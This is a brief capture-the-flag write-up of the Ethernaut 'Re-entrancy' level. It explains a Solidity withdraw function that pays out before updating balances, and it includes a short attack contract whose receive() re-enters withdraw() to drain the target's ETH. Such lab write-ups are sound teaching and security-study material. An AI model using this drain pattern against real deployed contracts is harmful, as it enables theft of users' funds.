Writeups/Ethernaut/Re-entrancy
MediumEthernaut · Ethernaut2024

Re-entrancy

Reentrancy — Balance Not Updated Before External Call

The `withdraw()` function sends ETH before updating `balances[msg.sender]`. A malicious contract's `receive()` can recursively call `withdraw()` before the balance is zeroed, draining the contract.

SolidityReentrancyChecks-Effects-InteractionsETH Drain

00Overview

The `withdraw()` function sends ETH before updating `balances[msg.sender]`. A malicious contract's `receive()` can recursively call `withdraw()` before the balance is zeroed, draining the contract.

01Donate to seed balance

javascript
await contract.donate(attackContract, {value: toWei("0.001")})

02Deploy and trigger reentrancy attack

javascript
contract ReentrancyAttack {
    Reentrance target;

    receive() external payable {
        if (address(target).balance > 0) {
            target.withdraw(0.001 ether);
        }
    }

    function attack() external payable {
        target.donate{value: 0.001 ether}(address(this));
        target.withdraw(0.001 ether);
    }
}

03Level Completed

Re-entrancy — completion screenshot 1
Re-entrancy — completion screenshot 2